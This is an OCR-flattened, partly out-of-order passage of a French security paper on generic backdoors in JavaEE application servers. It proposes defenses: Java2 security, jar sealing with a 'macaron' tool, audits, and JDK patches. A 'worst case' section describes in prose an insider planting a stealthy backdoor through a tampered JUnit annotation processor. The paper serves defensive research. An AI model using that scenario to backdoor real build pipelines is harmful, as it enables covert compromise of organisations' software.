ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

430 Porte derobee dans les serveurs drsquoapplications JavaEE

Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar

possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme

$ macaron -policy --merge --output securitypolicy

$MACARON_HOMElibpolicy -jar

Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee

$ JAVA_OPT=-Djavasecuritymanager

-Djavasecuritypolicy=securitypolicy

macaron -policy --output -

$MACARON_HOMElibpolicy -jar

Les privileges demandes sont les suivants

grant

permission javautilloggingLoggingPermission control

permission javautilPropertyPermission

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

permission javanetSocketPermission

80 connect resolve

permission javanetSocketPermission

443 connect resolve

permission javalangRuntimePermission

getenvPOLICY_DATABASE

Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy

Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante

$ macaron -policy

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

